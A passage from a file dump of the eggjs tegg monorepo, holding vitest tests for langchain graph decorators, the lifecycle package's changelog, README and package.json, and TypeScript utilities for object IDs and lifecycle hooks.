    "path": "tegg/core/langchain-decorator/test/graph.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { MCPInfoUtil } from '@eggjs/controller-decorator';\nimport { describe, it, beforeAll } from 'vitest';\n\ndescribe('Graph', () => {\n  let GraphMetaBuilder: any;\n  let GraphEdgeMetaBuilder: any;\n  let GraphNodeMetaBuilder: any;\n  let GraphToolMetaBuilder: any;\n  let GraphToolMetadata: any;\n  let GraphMetadata: any;\n  let TeggToolNode: any;\n  let BoundModelMetaBuilder: any;\n  let FooContinueEdge: any;\n  let FooGraph: any;\n  let FooNode: any;\n  let FooSaver: any;\n  let FooTool: any;\n  let BarGraph: any;\n  let BarNode: any;\n  let ToolNode: any;\n  let ToolType: any;\n  let FooChatModel: any;\n\n  beforeAll(async () => {\n    const mod = await import('../src/index.ts');\n    GraphMetaBuilder = mod.GraphMetaBuilder;\n    GraphEdgeMetaBuilder = mod.GraphEdgeMetaBuilder;\n    GraphNodeMetaBuilder = mod.GraphNodeMetaBuilder;\n    GraphToolMetaBuilder = mod.GraphToolMetaBuilder;\n    GraphToolMetadata = mod.GraphToolMetadata;\n    GraphMetadata = mod.GraphMetadata;\n    TeggToolNode = mod.TeggToolNode;\n    BoundModelMetaBuilder = mod.BoundModelMetaBuilder;\n\n    const fixtures = await import('./fixtures/modules/langgraph/Graph.ts');\n    FooContinueEdge = fixtures.FooContinueEdge;\n    FooGraph = fixtures.FooGraph;\n    FooNode = fixtures.FooNode;\n    FooSaver = fixtures.FooSaver;\n    FooTool = fixtures.FooTool;\n    BarGraph = fixtures.BarGraph;\n    BarNode = fixtures.BarNode;\n    ToolNode = fixtures.ToolNode;\n    ToolType = fixtures.ToolType;\n    FooChatModel = fixtures.FooChatModel;\n  });\n\n  it('graph should work', () => {\n    const meta = new GraphMetaBuilder(FooGraph).build();\n    assert.deepEqual(meta?.checkpoint, FooSaver);\n    assert.deepEqual(meta?.nodes, [FooNode]);\n    assert.deepEqual(meta?.edges, [FooContinueEdge]);\n  });\n\n  it('edge should work', () => {\n    const meta = new GraphEdgeMetaBuilder(FooContinueEdge).build();\n    assert.deepEqual(meta?.fromNodeName, 'action');\n    assert.deepEqual(meta?.toNodeNames, ['__end__', 'action']);\n  });\n\n  it('node should work', () => {\n    const meta = new GraphNodeMetaBuilder(FooNode).build();\n    assert.deepEqual(meta?.nodeName, 'action');\n    assert.deepEqual(meta?.tools, [FooTool]);\n    assert.deepEqual(meta?.mcpServers, ['fooMcpServer']);\n  });\n\n  it('bound model should work', () => {\n    const meta = new BoundModelMetaBuilder(FooChatModel).build();\n    assert.deepEqual(meta?.modelName, 'chat');\n    assert.deepEqual(meta?.tools, [FooTool]);\n    assert.deepEqual(meta?.mcpServers, ['fooMcpServer']);\n  });\n\n  it('tool should work', () => {\n    const meta = new GraphToolMetaBuilder(FooTool).build();\n    assert.deepEqual(meta instanceof GraphToolMetadata, true);\n    const MCPToolParams = MCPInfoUtil.getMCPToolArgsIndex(FooTool, 'execute');\n    assert.equal(MCPToolParams?.argsSchema, ToolType);\n  });\n\n  it('node build should work', () => {\n    const meta = new GraphNodeMetaBuilder(BarNode).build();\n    assert.deepEqual(meta?.nodeName, 'action');\n  });\n\n  it('graph build should work', () => {\n    const meta = new GraphMetaBuilder(BarGraph).build();\n    assert.deepEqual(meta instanceof GraphMetadata, true);\n  });\n\n  it('tool node should extend TeggToolNode', () => {\n    assert.equal(TeggToolNode.prototype.isPrototypeOf(ToolNode.prototype), true);\n  });\n});\n"
  },
  {
    "path": "tegg/core/langchain-decorator/test/index.test.ts",
    "content": "import assert from 'node:assert';\n\nimport { QualifierUtil } from '@eggjs/core-decorator';\nimport { describe, it } from 'vitest';\n\ndescribe('index.test.ts', () => {\n  it('should success', async () => {\n    const { Foo } = await import('./fixtures/modules/langchain/index.ts');\n    const { ChatModelQualifierAttribute } = await import('../src/index.ts');\n    const chatModelQualifier = QualifierUtil.getProperQualifier(Foo, 'chatModel', ChatModelQualifierAttribute);\n    assert.equal(chatModelQualifier, 'chat');\n  });\n});\n"
  },
  {
    "path": "tegg/core/langchain-decorator/test/package.json",
    "content": "{\n  \"type\": \"module\"\n}\n"
  },
  {
    "path": "tegg/core/langchain-decorator/tsconfig.json",
    "content": "{\n  \"extends\": \"../../../tsconfig.json\"\n}\n"
  },
  {
    "path": "tegg/core/lifecycle/CHANGELOG.md",
    "content": "Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 4.0.0+\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n\nAll notable changes to this project will be documented in this file.\nSee [Conventional Commits](https://conventionalcommits.org) for commit guidelines.\n\n# [4.0.0-beta.4](https://github.com/eggjs/tegg/compare/v4.0.0-beta.3...v4.0.0-beta.4) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [4.0.0-beta.3](https://github.com/eggjs/tegg/compare/v4.0.0-beta.2...v4.0.0-beta.3) (2025-03-15)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [4.0.0-beta.2](https://github.com/eggjs/tegg/compare/v4.0.0-beta.1...v4.0.0-beta.2) (2025-03-03)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [4.0.0-beta.1](https://github.com/eggjs/tegg/compare/v3.52.0...v4.0.0-beta.1) (2025-03-02)\n\n\n### Features\n\n* **core/types:** change to esm ([#263](https://github.com/eggjs/tegg/issues/263)) ([6ee4dad](https://github.com/eggjs/tegg/commit/6ee4dadcee4b90541b4d3fcd37161ed63960c7bd))\n\n\n\n\n\n# [3.52.0](https://github.com/eggjs/tegg/compare/v3.51.2...v3.52.0) (2024-12-30)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.51.2](https://github.com/eggjs/tegg/compare/v3.51.1...v3.51.2) (2024-12-09)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.51.1](https://github.com/eggjs/tegg/compare/v3.51.0...v3.51.1) (2024-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.51.0](https://github.com/eggjs/tegg/compare/v3.50.1...v3.51.0) (2024-10-30)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.50.1](https://github.com/eggjs/tegg/compare/v3.50.0...v3.50.1) (2024-10-23)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.50.0](https://github.com/eggjs/tegg/compare/v3.49.0...v3.50.0) (2024-10-22)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.49.0](https://github.com/eggjs/tegg/compare/v3.48.1...v3.49.0) (2024-10-21)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.48.1](https://github.com/eggjs/tegg/compare/v3.48.0...v3.48.1) (2024-10-14)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.48.0](https://github.com/eggjs/tegg/compare/v3.47.2...v3.48.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.47.2](https://github.com/eggjs/tegg/compare/v3.47.1...v3.47.2) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.47.1](https://github.com/eggjs/tegg/compare/v3.47.0...v3.47.1) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.47.0](https://github.com/eggjs/tegg/compare/v3.46.4...v3.47.0) (2024-10-10)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.46.4](https://github.com/eggjs/tegg/compare/v3.46.3...v3.46.4) (2024-10-09)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.46.3](https://github.com/eggjs/tegg/compare/v3.46.2...v3.46.3) (2024-10-08)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.46.2](https://github.com/eggjs/tegg/compare/v3.46.1...v3.46.2) (2024-10-07)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.46.1](https://github.com/eggjs/tegg/compare/v3.46.0...v3.46.1) (2024-09-30)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.46.0](https://github.com/eggjs/tegg/compare/v3.45.0...v3.46.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.45.0](https://github.com/eggjs/tegg/compare/v3.44.1...v3.45.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.44.1](https://github.com/eggjs/tegg/compare/v3.44.0...v3.44.1) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.44.0](https://github.com/eggjs/tegg/compare/v3.43.2...v3.44.0) (2024-09-29)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.43.2](https://github.com/eggjs/tegg/compare/v3.43.1...v3.43.2) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.43.1](https://github.com/eggjs/tegg/compare/v3.43.0...v3.43.1) (2024-09-14)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.43.0](https://github.com/eggjs/tegg/compare/v3.42.0...v3.43.0) (2024-09-13)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.42.0](https://github.com/eggjs/tegg/compare/v3.41.0...v3.42.0) (2024-09-10)\n\n\n### Features\n\n* add LifecyclePreLoad ([#234](https://github.com/eggjs/tegg/issues/234)) ([2b72163](https://github.com/eggjs/tegg/commit/2b7216387f02cd045952447eaa21baa3a7ee04a3))\n\n\n\n\n\n# [3.41.0](https://github.com/eggjs/tegg/compare/v3.40.1...v3.41.0) (2024-08-26)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.40.1](https://github.com/eggjs/tegg/compare/v3.40.0...v3.40.1) (2024-08-23)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.40.0](https://github.com/eggjs/tegg/compare/v3.39.5...v3.40.0) (2024-08-22)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.39.5](https://github.com/eggjs/tegg/compare/v3.39.4...v3.39.5) (2024-08-09)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.39.4](https://github.com/eggjs/tegg/compare/v3.39.3...v3.39.4) (2024-07-09)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.39.3](https://github.com/eggjs/tegg/compare/v3.39.2...v3.39.3) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.39.2](https://github.com/eggjs/tegg/compare/v3.39.1...v3.39.2) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.39.1](https://github.com/eggjs/tegg/compare/v3.39.0...v3.39.1) (2024-04-28)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.39.0](https://github.com/eggjs/tegg/compare/v3.38.0...v3.39.0) (2024-04-19)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.38.0](https://github.com/eggjs/tegg/compare/v3.37.3...v3.38.0) (2024-04-18)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.37.3](https://github.com/eggjs/tegg/compare/v3.37.2...v3.37.3) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.37.2](https://github.com/eggjs/tegg/compare/v3.37.1...v3.37.2) (2024-04-17)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.37.1](https://github.com/eggjs/tegg/compare/v3.37.0...v3.37.1) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.37.0](https://github.com/eggjs/tegg/compare/v3.36.3...v3.37.0) (2024-04-16)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.36.3](https://github.com/eggjs/tegg/compare/v3.36.2...v3.36.3) (2024-04-10)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.36.2](https://github.com/eggjs/tegg/compare/v3.36.1...v3.36.2) (2024-04-08)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.36.1](https://github.com/eggjs/tegg/compare/v3.36.0...v3.36.1) (2024-04-07)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.36.0](https://github.com/eggjs/tegg/compare/v3.35.1...v3.36.0) (2024-04-02)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.35.1](https://github.com/eggjs/tegg/compare/v3.35.0...v3.35.1) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.35.0](https://github.com/eggjs/tegg/compare/v3.34.0...v3.35.0) (2024-03-26)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.34.0](https://github.com/eggjs/tegg/compare/v3.33.1...v3.34.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.33.1](https://github.com/eggjs/tegg/compare/v3.33.0...v3.33.1) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.33.0](https://github.com/eggjs/tegg/compare/v3.32.0...v3.33.0) (2024-03-22)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.32.0](https://github.com/eggjs/tegg/compare/v3.31.0...v3.32.0) (2024-02-19)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.31.0](https://github.com/eggjs/tegg/compare/v3.30.1...v3.31.0) (2024-01-31)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.30.1](https://github.com/eggjs/tegg/compare/v3.30.0...v3.30.1) (2024-01-25)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.30.0](https://github.com/eggjs/tegg/compare/v3.29.0...v3.30.0) (2024-01-17)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.29.0](https://github.com/eggjs/tegg/compare/v3.28.2...v3.29.0) (2023-12-26)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.28.2](https://github.com/eggjs/tegg/compare/v3.28.1...v3.28.2) (2023-12-12)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.28.1](https://github.com/eggjs/tegg/compare/v3.28.0...v3.28.1) (2023-12-11)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.28.0](https://github.com/eggjs/tegg/compare/v3.27.0...v3.28.0) (2023-12-10)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.27.0](https://github.com/eggjs/tegg/compare/v3.26.0...v3.27.0) (2023-11-23)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.25.2](https://github.com/eggjs/tegg/compare/v3.25.1...v3.25.2) (2023-11-06)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.25.1](https://github.com/eggjs/tegg/compare/v3.25.0...v3.25.1) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.25.0](https://github.com/eggjs/tegg/compare/v3.24.0...v3.25.0) (2023-11-03)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.24.0](https://github.com/eggjs/tegg/compare/v3.23.0...v3.24.0) (2023-10-26)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.23.0](https://github.com/eggjs/tegg/compare/v3.22.0...v3.23.0) (2023-09-20)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.20.0](https://github.com/eggjs/tegg/compare/v3.19.0...v3.20.0) (2023-09-07)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.19.0](https://github.com/eggjs/tegg/compare/v3.18.1...v3.19.0) (2023-08-31)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.18.1](https://github.com/eggjs/tegg/compare/v3.18.0...v3.18.1) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.18.0](https://github.com/eggjs/tegg/compare/v3.17.0...v3.18.0) (2023-08-29)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.17.0](https://github.com/eggjs/tegg/compare/v3.16.0...v3.17.0) (2023-08-24)\n\n\n### Features\n\n* impl MultiInstanceProto ([#145](https://github.com/eggjs/tegg/issues/145)) ([12fd5cf](https://github.com/eggjs/tegg/commit/12fd5cff4004578bcc737dcdf4f7e9d1159f5633))\n\n\n\n\n\n# [3.16.0](https://github.com/eggjs/tegg/compare/v3.15.0...v3.16.0) (2023-08-24)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.14.3](https://github.com/eggjs/tegg/compare/v3.14.2...v3.14.3) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.14.2](https://github.com/eggjs/tegg/compare/v3.14.1...v3.14.2) (2023-08-14)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.14.1](https://github.com/eggjs/tegg/compare/v3.14.0...v3.14.1) (2023-08-11)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.14.0](https://github.com/eggjs/tegg/compare/v3.13.0...v3.14.0) (2023-07-31)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.13.0](https://github.com/eggjs/tegg/compare/v3.12.0...v3.13.0) (2023-07-25)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.12.0](https://github.com/eggjs/tegg/compare/v3.11.1...v3.12.0) (2023-07-13)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.11.1](https://github.com/eggjs/tegg/compare/v3.11.0...v3.11.1) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.11.0](https://github.com/eggjs/tegg/compare/v3.10.0...v3.11.0) (2023-06-29)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.10.0](https://github.com/eggjs/tegg/compare/v3.9.0...v3.10.0) (2023-06-28)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [3.8.0](https://github.com/eggjs/tegg/compare/v3.7.0...v3.8.0) (2023-05-30)\n\n\n### Features\n\n* impl EggObjectLifecycle hook in decorator ([#119](https://github.com/eggjs/tegg/issues/119)) ([cced8a2](https://github.com/eggjs/tegg/commit/cced8a2e009c33d5040fa21d00409fddef471b0e))\n\n\n\n\n\n## [3.2.3](https://github.com/eggjs/tegg/compare/v3.2.2...v3.2.3) (2023-01-16)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n## [3.2.2](https://github.com/eggjs/tegg/compare/v3.2.1...v3.2.2) (2023-01-06)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n\n\n\n\n\n# [0.2.0](https://github.com/eggjs/tegg/compare/v0.1.19...v0.2.0) (2022-01-20)\n\n**Note:** Version bump only for package @eggjs/tegg-lifecycle\n"
  },
  {
    "path": "tegg/core/lifecycle/README.md",
    "content": "# `@eggjs/lifecycle`\n\n[![NPM version][npm-image]][npm-url]\n[![Known Vulnerabilities][snyk-image]][snyk-url]\n[![npm download][download-image]][download-url]\n[![Node.js Version](https://img.shields.io/node/v/@eggjs/lifecycle.svg?style=flat)](https://nodejs.org/en/download/)\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/lifecycle.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/lifecycle\n[snyk-image]: https://snyk.io/test/npm/@eggjs/lifecycle/badge.svg?style=flat-square\n[snyk-url]: https://snyk.io/test/npm/@eggjs/lifecycle\n[download-image]: https://img.shields.io/npm/dm/@eggjs/lifecycle.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/lifecycle\n\n# Usage\n\nThis is an internal tegg library, you probably shouldn't use it directly.\n"
  },
  {
    "path": "tegg/core/lifecycle/package.json",
    "content": "{\n  \"name\": \"@eggjs/lifecycle\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"tegg lifecycle definition and decorators\",\n  \"keywords\": [\n    \"egg\",\n    \"lifecycle\",\n    \"tegg\",\n    \"typescript\"\n  ],\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/tegg/core/lifecycle\",\n  \"bugs\": {\n    \"url\": \"https://github.com/eggjs/egg/issues\"\n  },\n  \"license\": \"MIT\",\n  \"author\": \"killagu <killa123@126.com>\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"tegg/core/lifecycle\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"@eggjs/core-decorator\": \"workspace:*\",\n    \"@eggjs/tegg-types\": \"workspace:*\"\n  },\n  \"devDependencies\": {\n    \"@types/node\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "tegg/core/lifecycle/src/IdenticalObject.ts",
    "content": "import type { Id } from '@eggjs/tegg-types';\n\nexport class IdenticalUtil {\n  private static objIndex = 0;\n  private static protoIndex = 0;\n  private static ctxIndex = 0;\n\n  static createLoadUnitId(loadUnitName: string): Id {\n    // LOAD_UNIT:xxx\n    return `LOAD_UNIT:${loadUnitName}`;\n  }\n\n  static createProtoId(loadUnitId: Id, name: PropertyKey): Id {\n    // LOAD_UNIT:xxx:PROTO:CONTEXT:xxx\n    return `${loadUnitId}:PROTO:${this.protoIndex++}:${String(name)}`;\n  }\n\n  static createLoadUnitInstanceId(loadUnitId: Id): Id {\n    // LOAD_UNIT:xxx:INSTANCE\n    return `${loadUnitId}:INSTANCE`;\n  }\n\n  static createContextId(traceId?: string): Id {\n    // CONTEXT:0\n    if (traceId) {\n      return `CONTEXT:${traceId}:${this.ctxIndex++}`;\n    }\n    return `CONTEXT:${this.ctxIndex++}`;\n  }\n\n  static createObjectId(protoId: Id, ctxId?: Id): Id {\n    if (ctxId) {\n      // LOAD_UNIT:xxx:PROTO:CONTEXT:xxx:INSTANCE:CONTEXT:0\n      return `${protoId}:INSTANCE:${ctxId}`;\n    }\n    // LOAD_UNIT:xxx:PROTO:CONTEXT:xxx:INSTANCE:0\n    return `${protoId}:INSTANCE:${this.objIndex++}`;\n  }\n}\n"
  },
  {
    "path": "tegg/core/lifecycle/src/LifycycleUtil.ts",
    "content": "import { MetadataUtil } from '@eggjs/core-decorator';\nimport type {\n  EggPrototype,\n  EggProtoImplClass,\n  LifecycleContext,\n  LifecycleHook,\n  LifecycleHookName,\n  LifecycleObject,\n} from '@eggjs/tegg-types';\n\nexport class LifecycleUtil<T extends LifecycleContext, R extends LifecycleObject<T>> {\n  private lifecycleSet: Set<LifecycleHook<T, R>> = new Set();\n  private objLifecycleSet: Map<string, Set<LifecycleHook<T, R>>> = new Map();\n\n  registerLifecycle(lifecycle: LifecycleHook<T, R>): void {\n    this.lifecycleSet.add(lifecycle);\n  }\n\n  deleteLifecycle(lifecycle: LifecycleHook<T, R>): void {\n    this.lifecycleSet.delete(lifecycle);\n  }\n\n  getLifecycleList(): LifecycleHook<T, R>[] {\n    return Array.from(this.lifecycleSet);\n  }\n\n  registerObjectLifecycle(obj: R, lifecycle: LifecycleHook<T, R>): void {\n    if (!this.objLifecycleSet.has(obj.id)) {\n      this.objLifecycleSet.set(obj.id, new Set());\n    }\n    this.objLifecycleSet.get(obj.id)!.add(lifecycle);\n  }\n\n  deleteObjectLifecycle(obj: R, lifecycle: LifecycleHook<T, R>): void {\n    this.objLifecycleSet.get(obj.id)?.delete(lifecycle);\n  }\n\n  clearObjectLifecycle(obj: R): void {\n    this.objLifecycleSet.delete(obj.id);\n  }\n\n  getObjectLifecycleList(obj: R): LifecycleHook<T, R>[] {\n    if (this.objLifecycleSet.has(obj.id)) {\n      return Array.from(this.objLifecycleSet.get(obj.id)!);\n    }\n    return [];\n  }\n\n  async objectPreCreate(ctx: T, obj: R): Promise<void> {\n    const globalLifecycleList = this.getLifecycleList();\n    const objLifecycleList = this.getObjectLifecycleList(obj);\n    await Promise.all(globalLifecycleList.map((lifecycle) => LifecycleUtil.callPreCreate(lifecycle, ctx, obj)));\n    await Promise.all(objLifecycleList.map((lifecycle) => LifecycleUtil.callPreCreate(lifecycle, ctx, obj)));\n  }\n\n  async objectPostCreate(ctx: T, obj: R): Promise<void> {\n    const lifecycleList = this.getLifecycleList();\n    const objLifecycleList = this.getObjectLifecycleList(obj);\n    await Promise.all(lifecycleList.map((lifecycle) => LifecycleUtil.callPostCreate(lifecycle, ctx, obj)));\n    await Promise.all(objLifecycleList.map((lifecycle) => LifecycleUtil.callPostCreate(lifecycle, ctx, obj)));\n  }\n\n  async objectPreDestroy(ctx: T, obj: R): Promise<void> {\n    const lifecycleList = this.getLifecycleList();\n    const objLifecycleList = this.getObjectLifecycleList(obj);\n    await Promise.all(lifecycleList.map((lifecycle) => LifecycleUtil.callPreDestroy(lifecycle, ctx, obj)));\n    await Promise.all(objLifecycleList.map((lifecycle) => LifecycleUtil.callPreDestroy(lifecycle, ctx, obj)));\n  }\n\n  static async callPreCreate<T extends LifecycleContext, R extends LifecycleObject<T>>(\n    lifecycle: LifecycleHook<T, R> | undefined,\n    ctx: T,\n    obj: R,\n  ): Promise<void> {\n    if (!lifecycle || !lifecycle.preCreate) {\n      return;\n    }\n    await lifecycle.preCreate(ctx, obj);\n  }\n\n  static async callPostCreate<T extends LifecycleContext, R extends LifecycleObject<T>>(\n    lifecycle: LifecycleHook<T, R> | undefined,\n    ctx: T,\n    obj: R,\n  ): Promise<void> {\n    if (!lifecycle || !lifecycle.postCreate) {\n      return;\n    }\n    await lifecycle.postCreate(ctx, obj);\n  }\n\n  static async callPreDestroy<T extends LifecycleContext, R extends LifecycleObject<T>>(\n    lifecycle: LifecycleHook<T, R> | undefined,\n    ctx: T,\n    obj: R,\n  ): Promise<void> {\n    if (!lifecycle || !lifecycle.preDestroy) {\n      return;\n    }\n    await lifecycle.preDestroy(ctx, obj);\n  }\n\n  static setLifecycleHook(method: string, hookName: LifecycleHookName, clazz: EggProtoImplClass): void {\n    const LIFECYCLE_HOOK = Symbol.for(`EggPrototype#Lifecycle${hookName}`);\n    MetadataUtil.defineMetaData(LIFECYCLE_HOOK, method, clazz);\n  }\n\n  getLifecycleHook(hookName: LifecycleHookName, proto: EggPrototype): LifecycleHookName | undefined {\n    const LIFECYCLE_HOOK = Symbol.for(`EggPrototype#Lifecycle${hookName}`);\n    return proto.getMetaData<LifecycleHookName>(LIFECYCLE_HOOK);\n  }\n\n  static getStaticLifecycleHook(hookName: LifecycleHookName, clazz: EggProtoImplClass): string | undefined {\n    const LIFECYCLE_HOOK = Symbol.for(`EggPrototype#Lifecycle${hookName}`);\n    return MetadataUtil.getMetaData<string>(LIFECYCLE_HOOK, clazz);\n  }\n}\n"
  },
  {
    "path": "tegg/core/lifecycle/src/decorator/index.ts",
